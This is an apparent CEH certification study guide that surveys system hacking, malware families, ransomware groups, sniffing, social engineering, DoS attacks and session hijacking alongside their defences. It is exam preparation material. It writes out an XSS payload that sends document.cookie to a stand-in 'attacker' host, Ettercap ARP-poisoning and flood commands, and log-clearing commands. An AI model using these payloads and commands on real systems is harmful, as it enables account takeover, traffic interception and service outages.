CEH Domain 3.B: System & Network Attacks

Domain 3.B of the CEH (v12/v13) blueprint is the offensive toolkit the exam expects an ethical hacker to recognise. It is intentionally broad: it spans password math, malware families, on-path attacks, and volumetric floods. This document walks each of the four sub-domains (3.B.1 System Hacking, 3.B.2 Malware Threats, 3.B.3 Sniffing & Social Engineering, 3.B.4 DoS/DDoS & Session Hijacking), anchors every concept to a tool, and groups them with the attacker methodology EC-Council tests.

Key takeaway: Domain 3.B is methodology-driven. EC-Council expects you to know which tool belongs to which phase and which attack belongs to which layer, not just that the attack exists.

1. The CEH Hacking Methodology (the spine of the domain)

Every tool in 3.B maps onto the 5-6-phase methodology. EC-Council and Packt teach the 5-phase core; some sources expand to 10 phases by splitting scanning from enumeration and persistence from lateral movement. The exam tests the 5-phase view.

#	Phase	Goal	Canonical tools
1	Reconnaissance	Gather public/active intel	Maltego, theHarvester, Google dorks, WHOIS, Shodan
2	Scanning	Find open doors and weaknesses	Nmap, Nessus, Nikto, Hping
3	Gaining Access	Exploit and enter	Metasploit, sqlmap, Burp Suite, Hydra
4	Maintaining Access	Stay inside	Netcat backdoor, Meterpreter persistence, rootkits
5	Clearing Tracks	Hide evidence	Log wipe, timestomp, alternate data streams, steganography

Key takeaway: Cover6 Solutions is explicit: “The exam tests whether you know how attacks work and in what order, not just that they exist.” Memorise the tool → phase mapping.

2. Domain 3.B.1 - System Hacking

2.1 Password attacks

Passwords remain the first credential an attacker reaches for. The attack divides cleanly into online (live service) and offline (hash cracking) tools.

Tool	Mode	Strength	Weakness	Typical target
Hydra	Online	Multi-protocol (SSH, FTP, HTTP, RDP, SMB)	Network-limited, triggers lockouts	Service login prompts
Medusa	Online	Parallel login engine, similar to Hydra	Same lockout risk	SSH, FTP, HTTP
John the Ripper	Offline	Auto-detects hash format, huge format coverage via `*2john` tools	CPU-bound, slower on GPU	`/etc/shadow`, ZIP, KeePass, SSH keys
Hashcat	Offline	GPU-accelerated; 300+ hash modes; 164 GH/s on MD5 (RTX 4090)	Requires GPU, must specify `-m` mode	NTLM, MD5, WPA, Kerberoast
L0phtCrack	Offline	Windows-native GUI, NTLM focus	Last release 2021; legacy	Windows SAM, AD
Rainbow tables	Offline	Pre-computed, instant lookups on unsalted hashes	Defeated by salting; storage heavy	LM, NTLM (unsalted)

A key design lesson: bcrypt and Argon2id are slow on purpose. A 2026 Hashcat vs John benchmark shows the GPU gap on bcrypt cost=5 narrows to ~184 kH/s versus the >100 GH/s on NTLM - the GPU parallelism that crushes fast hashes is exactly what bcrypt is designed to defeat.

Key takeaway: Use Hydra when you only have a live service. Use Hashcat when you have captured hashes and a GPU. Use John the Ripper when you have an unknown or file-based format.

2.2 Password storage

Where the hashes live matters as much as the cracker. CEH expects you to recognise:

Windows SAM (Security Account Manager) - local account NTLM hashes; readable from %SystemRoot%\system32\config\SAM with SYSTEM privileges.
NTLM / Net-NTLMv2 - challenge-response; still used internally even on modern AD.
Linux /etc/shadow - root-only; modern entries are $6$ (SHA-512) or $y$ (yescrypt).
Modern adaptive hashes - Argon2id (preferred), bcrypt, scrypt. Each is intentionally sequential or memory-hard to neutralise GPU cracking.

2.3 Privilege escalation

MITRE ATT&CK formalises the two axes:

Vertical: low-priv user → admin/root. Common paths: SUID/SGID binaries (T1548.001), sudo misconfigurations like NOPASSWD or disabled tty_tickets (T1548.003), kernel exploits, token impersonation via Mimikatz.
Horizontal: same-privilege pivot via Pass-the-Hash (T1550.002) reusing an NTLM hash, or Pass-the-Ticket (T1550.003) replaying a Kerberos TGT/TGS. Both defeat password re-entry by abusing already-issued credentials.

Key takeaway: The LockBit 3.0 playbook maps cleanly onto MITRE: token impersonation + Mimikatz for vertical escalation, PsExec/GPO for horizontal, GPO-driven Defender disable to clear the way for the locker (arxiv 2511.06429).

Source: https://attack.mitre.org/techniques/T1548/003/
Source: https://attack.mitre.org/techniques/T1548/001/
Source: https://attack.mitre.org/techniques/T1550/002/
Source: https://attack.mitre.org/techniques/T1550/003/
Source: https://arxiv.org/html/2511.06429

2.4 Executing applications & covering tracks

Once in, the attacker must hide:

NTFS Alternate Data Streams (ADS) - Rustock.A stored its driver inside a hidden ADS on a system file, then locked the stream via IRP hooks on IRP_MJ_CREATE so even regedit couldn’t see it (virusbulletin 2006). MITRE catalogues this as T1564.004.
Timestomping - rewriting $STANDARD_INFORMATION (SI) only. The $FILE_NAME (FN) attribute cannot be set from user mode, so a SI/FN delta is the defender’s smoking gun (MITRE T1070.006).
Steganography - hiding tools in MP3/JPEG whitespace; can be combined with NTFS ADS to make the file invisible.
Log tampering & disabling auditing - wevtutil cl, GPO-pushed audit disable, deletion of $MFT and USN journal entries.

3. Domain 3.B.2 - Malware Threats

3.1 Malware taxonomy (ASCII)

Malware
├── Self-replicating
│   ├── Virus (needs host file)
│   │   ├── File infector     (e.g., ILOVEYOU)
│   │   ├── Macro             (Office docs)
│   │   ├── Boot sector       (MBR/VBR)
│   │   ├── Polymorphic       (changes signature each run)
│   │   ├── Metamorphic       (rewrites its own code)
│   │   └── Multipartite      (file + boot)
│   └── Worm                  (network-propagating, no host)
│       ├── Network worm      (Conficker, Code Red)
│       └── Cryptoworm        (WannaCry 2017)
├── Non-replicating
│   ├── Trojan               (disguised legitimate software)
│   │   ├── RAT               (Gh0st RAT, AsyncRAT)
│   │   ├── Banking           (Zeus, Emotet)
│   │   ├── Backdoor
│   │   ├── DDoS bot          (Mirai, Leet)
│   │   ├── Downloader / Dropper
│   │   ├── Exploit kit
│   │   └── Defacement
│   ├── Rootkit               (hides itself + other malware)
│   │   ├── User-mode         (DLL injection, IAT hooks)
│   │   ├── Kernel-mode       (DKOM, IRP hooks  -  Rustock)
│   │   ├── Bootkit           (UEFI/BIOS  -  e.g. BlackLotus)
│   │   └── Firmware
│   └── Ransomware            (extortion)
│       ├── Locker             (locks screen, not files)
│       ├── Crypto             (encrypts files; WannaCry, LockBit)
│       ├── Double extortion   (encrypt + leak; Maze 2019)
│       ├── Triple extortion   (+ DDoS or victim-customer pressure)
│       └── Quadruple extortion(+ regulator/contact customer)
├── Fileless / LOLBins
│   ├── Pure memory           (Kovter, Code Red variant)
│   ├── Registry-resident     (Poweliks, uses rundll32 + JS)
│   ├── WMI subscription      (WMI Event Subscription persistence)
│   └── LOLBin abuse          (rundll32, certutil, mshta, regsvr32, PowerShell)
└── Detection-evasion
    ├── Packers / crypters
    ├── Obfuscation
    ├── Process hollowing
    └── Anti-VM / anti-sandbox

3.2 Ransomware - the 2024-2025 landscape

LockBit 3.0 / 5.0 - RaaS leader; ChaCha20-AES locker, double/triple extortion, GPO-driven Defender disable, StealBit exfiltration; disrupted in Operation Cronos (Feb 2024, NCA + FBI) but returned as LockBit 5.0 (“ChuongDong”) in Sept 2025 with new Windows/Linux/ESXi victims (Check Point Research, Oct 2025).
ALPHV / BlackCat - Rust-written, cross-platform; triple extortion; FBI disrupted Dec 2023; affiliates suspected of rebranding to RansomHub; executed the Change Healthcare attack (Feb 2024).
Cl0p (TA505) - mass-exploitation specialist: MOVEit Transfer (CVE-2023-34362, 2,500+ servers), GoAnywhere MFT, Cleo MFT. In Feb 2025, Cl0p claimed 385 attacks in a few weeks - a record.
Akira, Interlock, FunkSec, 8Base, Play - newer groups filling the void; Akira uses VPN access + LOLBins, FunkSec reportedly uses GenAI to write encryptor code.

Key takeaway: Akamai’s 2025 SOTI report notes extortion has escalated from single → double → triple → quadruple extortion, and ransomware actors now weaponise compliance regulations (GDPR/HIPAA leak threats) to pressure victims.

3.3 Fileless malware & LOLBins

Fileless malware lives in RAM or the Windows Registry and abuses Living-Off-the-Land Binaries (LOLBins) - signed Microsoft tools every endpoint already trusts. Poweliks (2014) pioneered registry-only persistence: a CLSID-hijacked LocalServer32 key holds JavaScript that decodes a payload and spawns it via rundll32.exe, with a Watchdog process that re-creates the keys if deleted. Kovter followed, evolving from ransomware into click-fraud but staying in registry. Modern variants lean on certutil.exe (decode disguised “PDFs”), mshta.exe (HTA → hidden PowerShell), and rundll32.exe loading renamed DLLs from %TEMP%.

Key takeaway: For fileless samples, the on-disk artifact is gone after reboot. Detection must be behavioural (Sysmon, Script Tracer, sandbox) - file hashes won’t help.

3.4 Malware analysis workflow

Static analysis - strings, import table, PE sections, YARA rules. Useful for packed/obfuscated samples.
Dynamic analysis - detonate in a sandbox. Cuckoo Sandbox (open-source) and ANY.RUN (cloud, interactive) capture process trees, registry writes, network IOCs, dropped files in minutes.
Detection - signature (YARA, AV), heuristic (suspicious API sequences), behavioural (Sysmon EID 1/3/11), sandboxing.

4.1 Layer-2 / on-path attacks

ARP is unauthenticated by design, which makes LAN-level MitM trivial:

ARP poisoning / spoofing - flood gratuitous ARP replies so victim and gateway both resolve the target IP to the attacker’s MAC. Tools: ettercap -M arp:remote, Bettercap’s arp.spoof on, arpspoof from dsniff.
MAC flooding - macof from dsniff fills the switch CAM table until it fail-opens to hub mode and floods all frames to all ports. ettercap -P rand_flood is an alternative.
MAC spoofing - change the attacker’s NIC MAC to the victim’s to receive unicast frames.
Port mirroring (SPAN) - legitimate, but if the switch is misconfigured, an attacker inside the network can also see the mirror.
Ettercap - the classic MitM framework. ettercap -T -M arp:remote /gateway// /victim// is the textbook incantation; plugins add DNS spoofing, content replacement (-F replace_content.ef).
BetterCAP - modern replacement; HTTP/HTTPS proxies with built-in SSL stripping + HSTS bypass (Moxie Marlinspike’s 2009 attack extended by sslstrip+ in 2014 to defeat HSTS).
Wireshark / tcpdump - the capture end. tcpdump -i eth0 -w cap.pcap + wireshark cap.pcap is the standard flow.
MitM techniques beyond ARP - DHCP starvation (exhaust the pool, serve a rogue DHCP), rogue DHCP handing out attacker-controlled DNS, DNS poisoning (poison the resolver cache), DNS spoofing (resolve legit names to attacker IPs via Ettercap’s dns_spoof plugin).

Key takeaway: Every ARP-based MitM is foiled by the same control - Dynamic ARP Inspection (DAI) on the managed switch, paired with dhcp snooping. Without DAI, the attack is silent: the only detection is monitoring for duplicate MACs in the ARP table.

Source: https://www.bettercap.org/legacy/
Source: https://www.prosec-networks.com/en/blog/arp-spoofing/
Source: https://securedebug.com/mitm-attacks-and-ssl-bypass-in-kali-linux-17062025/
Source: https://github.com/Ettercap/ettercap
Source: https://tryhackme.com/room/layer2

The CEH blueprint lists 9 vectors. Huntress groups them into 10 with Business Email Compromise and honeytraps; CrowdStrike uses the same 10. The cleanest mental model is by lever (Techearl’s framing):

Family	Lever	Techniques
Bulk deception	Volume + plausible message	Phishing, smishing
Targeted deception	Research + tailored pretext	Spear-phishing, whaling, vishing, pretexting
Trust-process abuse	Help desk / password reset flow	Help-desk impersonation, MFA fatigue
Identity & money	Authority + urgency	BEC, SIM swap
Physical & incentive	Curiosity, greed, politeness	Baiting, quid pro quo, tailgating, dumpster diving

Phishing - bulk email impersonating a brand; ENISA Threat Landscape 2025 cites phishing as the initial vector in ~60% of observed intrusions.
Spear phishing - OSINT-driven; named target, references their projects. Most targeted intrusions start here.
Whaling - spear-phishing aimed at C-suite for wire authority or board access.
Vishing - voice; the 2020 Twitter hack and the 2023 MGM/Caesars breach both started with a phone call to the help desk.
Smishing - SMS phishing; rose sharply as MFA codes moved to SMS.
Pretexting - fabricated scenario (“I’m the new contractor, locked out before the demo”); help-desk impersonation is the highest-impact variant.
Baiting - infected USB dropped in a parking lot, “free movie” download.
Tailgating / piggybacking - physical: follow an employee through a badge door.
Dumpster diving - pull discarded hard drives, printouts, sticky notes.

Key takeaway: Techearl’s 2026 analysis: “Because it targets the layer that cannot be patched, a mature organisation can have no software vulnerability and still be breached by a single phone call to the help desk.” The Twitter (2020), Uber (2022), MGM (2023) and Caesars (2023) breaches were all social engineering, none required a CVE.

5. Domain 3.B.4 - DoS/DDoS & Session Hijacking

5.1 DoS attack cheat table

Attack type	Layer	Mechanism	Tool / example	Primary defence
UDP flood	L3/L4 (volumetric)	High-rate UDP to random ports → ICMP unreachable response exhausts host	`hping3 --flood --udp`, Mirai `udpplain`	Rate-limit per source; drop unused UDP; BGP FlowSpec; cloud scrubbing
ICMP flood / Ping of Death	L3	Oversized/malformed ICMP echo	`ping -s 65507 -f`	Block/limit ICMP; patch parsing
DNS amplification	L3/L4 (volumetric)	28-54× byte amplification via open resolvers + spoofed source	`dnscap`, Mirai `dns` module	BCP38 (source-address validation), RRL, anycast
NTP amplification	L3/L4 (volumetric)	`monlist` query with spoofed source → 200×+ amplification	NTP `monlist` exploit	Disable `monlist`; BCP38
Memcached amplification	L3/L4 (volumetric)	50,000×+ amplification factor (2018 record: 1.7 Tbps)	`memcached -d -m 1024` open to internet	Disable UDP, firewall; BCP38
SYN flood	L4 (state exhaustion)	Send SYN, never ACK → fills connection table	Mirai `syn`, hping3	SYN cookies (`tcp_syncookies=1`), increase backlog, SYN proxy
Smurf	L3 (amplification)	ICMP echo to broadcast address with spoofed source	`smurf` legacy tool	Disable directed broadcast, BCP38
Fraggle	L3 (amplification)	UDP echo (port 7) to broadcast	Legacy	Block UDP echo; filter ports 7/19
Teardrop	L4 (fragmentation)	Overlapping IP fragments crash reassembly	`teardrop.c` legacy	Patch OS, drop malformed fragments
HTTP flood	L7 (application)	Valid GET/POST requests to exhaust app resources	Mirai `http`/`httppost`/`httphead`; low-and-slow variants	WAF, per-IP rate limit, CAPTCHA, CDN
Slowloris	L7 (low-and-slow)	Open connection, drip-feed headers, never finish	`slowloris.pl`	Reverse proxy (nginx), short timeouts, max connections/IP
R.U.D.Y. / SlowPOST	L7 (low-and-slow)	Send POST body one byte at a time	`r-u-dead-yet`	Reverse proxy buffering, short body timeout

Key takeaway: Mirai (Sept 2016) was the inflection point: by exploiting 62 default-credential pairs on IoT telnet (TCP/23, TCP/2323), it produced >1 Tbps of attack traffic and knocked Dyn (and Twitter, Netflix, Reddit) offline. Of the 15,194 Mirai attack commands measured by UMD, 32.8% were volumetric, 39.8% TCP-state-exhaustion, 34.5% application-layer (Krebs et al., 2017). Defenders should expect multi-vector attacks.

5.2 DDoS defence layers

Per-host - rate limits, iptables/BPF, SYN cookies, connection caps.
Network edge - BGP FlowSpec (RFC 8956), source-based remotely-triggered blackholes (S/RTBH).
ISP / scrubbing - re-route traffic through a scrubbing centre that strips attack packets.
CDN / anycast - distributes the target across many PoPs so no single site absorbs the flood; this is what absorbed the Mirai-on-Dyn attack at the DNS layer.
Application - WAF, per-IP rate limiting on expensive endpoints, CAPTCHA, bot detection.

5.3 Session hijacking

The session ID is the credential after login. Steal or predict it and you own the account.

Session ID prediction - entropy is weak; Burp Suite Sequencer measures randomness.
Session sniffing - same toolkit as Domain 3.B.3: Wireshark, tcpdump, Bettercap HTTP proxy. Stopped by Secure cookie flag + HSTS.
Session fixation - attacker plants a known session ID on the victim (via URL parameter, XSS document.cookie, or META tag) before login. If the application does not regenerate the ID on authentication, the attacker is logged in. OWASP: regenerate session ID at every privilege change.
XSS-based hijack - inject <script>document.location='http://attacker/?c='+document.cookie</script>; defeats missing HttpOnly.
Man-in-the-browser - banking trojan (e.g., Zeus, SpyEye) injects into the browser process, rewrites transactions on the fly. Different from on-path MitM because it sits inside the user’s browser.
Cookie theft via malware - infostealer reads the browser cookie jar and exfiltrates it.

Key takeaway: The OWASP WSTG fix list is short: Secure (HTTPS only), HttpOnly (no JS), SameSite (no cross-site), regenerate session ID on login, and full HSTS with includeSubDomains so the cookie cannot leak even once on a misconfigured subdomain.

Tools: Burp Suite (Sequencer, Repeater, Intruder, Collaborator) and OWASP ZAP (free, active+passive scanning). Both can also test session fixation by checking whether the session ID changes after authentication.

6. Cross-domain synthesis

Three threads tie the four sub-domains together:

The same tools recur at different layers. Bettercap, Ettercap, and Wireshark appear in both password sniffing and DoS prep. Hydra’s offline cousin John the Ripper is the most-cited tool across all four.
Defence is layered, not single. A SYN cookie does nothing against an HTTP flood; a WAF does nothing against a UDP flood; a YARA rule does nothing against a fileless Poweliks-style sample. The exam rewards answers that name the right layer.
Human factors beat technical controls. MGM (2023) fell to a vishing call. LockBit affiliates fell for an FBI vishing trap. The blueprint pairs social engineering with sniffing for this reason.

Sources

EC-Council - What is Ethical Hacking? - https://www.eccouncil.org/cybersecurity-exchange/ethical-hacking/what-is-ethical-hacking/
Ethical Hacking Institute - 5 CEH Hacking Phases for Beginners - https://www.ethicalhackinginstitute.com/blog/what-are-the-ceh-hacking-phases-explained-for-beginners
Cover6 Solutions - How to Pass the CEH Exam in 2026 - https://www.cover6solutions.com/how-to-pass-the-ceh-exam-in-2026-v12-study-guide/
tutorials.technology - Hashcat vs Hydra (2026) - https://tutorials.technology/tutorials/hashcat-vs-hydra.html
Security Elites - Hashcat vs John the Ripper 2026 - https://securityelites.com/hashcat-vs-john-speed-comparison-2026/
TechBloat - Best Password Crackers in 2026 - https://www.techbloat.com/best-password-crackers.html
Endut et al. - A Comparative Analysis of Offline and Online Password Cracking Tools - https://hrmars.com/papers_submitted/22996/a-comparative-analysis-of-offline-and-online-password-cracking-tools.pdf
MITRE ATT&CK - T1548.003 Sudo and Sudo Caching - https://attack.mitre.org/techniques/T1548/003/
MITRE ATT&CK - T1548.001 Setuid and Setgid - https://attack.mitre.org/techniques/T1548/001/
MITRE ATT&CK - T1550.002 Pass the Hash - https://attack.mitre.org/techniques/T1550/002/
MITRE ATT&CK - T1550.003 Pass the Ticket - https://attack.mitre.org/techniques/T1550/003/
Castaño et al. - Inside LockBit (arXiv 2511.06429) - https://arxiv.org/html/2511.06429
Akamai - Ransomware SOTI Report 2025 - https://www.akamai.com/site/en/documents/state-of-the-internet/2025/ransomware-trends-2025.pdf
Check Point Research - LockBit 5.0 Returns in Force - https://blog.checkpoint.com/research/lockbit-returns-and-it-already-has-victims/
Securelist (Kaspersky) - State of Ransomware 2025 - https://securelist.com/state-of-ransomware-in-2025/116475/
Fortress MSSP - Ransomware-as-a-Service in 2026 - https://fortressmssp.com/blog/ransomware-as-a-service-how-it-works
ANY.RUN - Fileless Malware - https://any.run/cybersecurity-blog/fileless-malware/
ANY.RUN - LOLBin Attacks 101 - https://any.run/cybersecurity-blog/lolbin-attacks-soc-detection-guide/
Malscope - Poweliks Malware Analysis - https://malscope.com/post/poweliks-malware/
Decryption Digest - Malware Sandbox Analysis 2026 - https://www.decryptiondigest.com/blog/malware-sandbox-analysis-dynamic-behavior-any-run-cuckoo-guide
BetterCAP - Stable Documentation - https://www.bettercap.org/legacy/
prosec-networks - ARP Spoofing / MitM - https://www.prosec-networks.com/en/blog/arp-spoofing/
SecureDebug - MITM Attacks and SSL Bypass in Kali Linux - https://securedebug.com/mitm-attacks-and-ssl-bypass-in-kali-linux-17062025/
Ettercap GitHub - https://github.com/Ettercap/ettercap
TryHackMe - L2 MAC Flooding & ARP Spoofing - https://tryhackme.com/room/layer2
Huntress - Types of Social Engineering Attacks - https://www.huntress.com/social-engineering-guide/types-of-social-engineering-attacks
CrowdStrike - 10 Types of Social Engineering Attacks - https://www.crowdstrike.com/en-us/cybersecurity-101/social-engineering/types-of-social-engineering-attacks/
Techearl - Social Engineering Attacks: The Complete Taxonomy - https://techearl.com/social-engineering-attacks
Zaoui et al. - Comprehensive Taxonomy of SE Attacks (London Met) - https://repository.londonmet.ac.uk/9422/1/A_Comprehensive_Taxonomy_of_Social_Engineering_Attacks_and_Defense_Mechanisms_Toward_Effective_Mitigation_Strategies.pdf
NETSCOUT ASERT - Mirai IoT Botnet Description and DDoS Attack Mitigation - https://www.netscout.com/blog/asert/mirai-iot-botnet-description-and-ddos-attack-mitigation
Krebs et al. (UMD) - Understanding the Mirai Botnet - https://www.cs.umd.edu/class/fall2019/cmsc818O/papers/understanding-mirai.pdf
Flowtriq - DDoS Attack Types & Mitigation Methods - https://flowtriq.com/blog/ddos-attack-types-mitigation-methods
Wiz - DDoS Attacks: Definition, Types, Prevention and Mitigation - https://www.wiz.io/academy/detection-and-response/what-is-a-ddos-attack
Radware - Mirai Handbook - https://www.radware.com/getattachment/402db7f3-0467-4fa3-bb9a-ae88b728e91b/MiraiHandbookEbookFinal%5F04.pdf.aspx
OWASP - Testing for Session Hijacking (WSTG) - https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/06-Session_Management_Testing/09-Testing_for_Session_Hijacking
OWASP - Session hijacking attack - https://owasp.org/www-community/attacks/Session_hijacking_attack
OWASP - Session fixation - https://owasp.org/www-community/attacks/Session_fixation
Invicti - What Is Session Hijacking? - https://www.invicti.com/blog/web-security/session-hijacking
SentinelOne - What Is Session Fixation? - https://www.sentinelone.com/cybersecurity-101/cybersecurity/session-fixation/
InfoSecTrain - Session Hijacking Using Burp Suite - https://www.infosectrain.com/blog/session-hijacking-using-burp-suite

CEH Domain 3.B: System & Network Attacks

CEH Domain 3.B: System & Network Attacks

1. The CEH Hacking Methodology (the spine of the domain)

2. Domain 3.B.1 - System Hacking

2.1 Password attacks

2.2 Password storage

2.3 Privilege escalation

2.4 Executing applications & covering tracks

3. Domain 3.B.2 - Malware Threats

3.1 Malware taxonomy (ASCII)

3.2 Ransomware - the 2024-2025 landscape

3.3 Fileless malware & LOLBins

3.4 Malware analysis workflow

4. Domain 3.B.3 - Sniffing & Social Engineering

4.1 Layer-2 / on-path attacks

4.2 Social engineering taxonomy

5. Domain 3.B.4 - DoS/DDoS & Session Hijacking

5.1 DoS attack cheat table

5.2 DDoS defence layers

5.3 Session hijacking

6. Cross-domain synthesis

Sources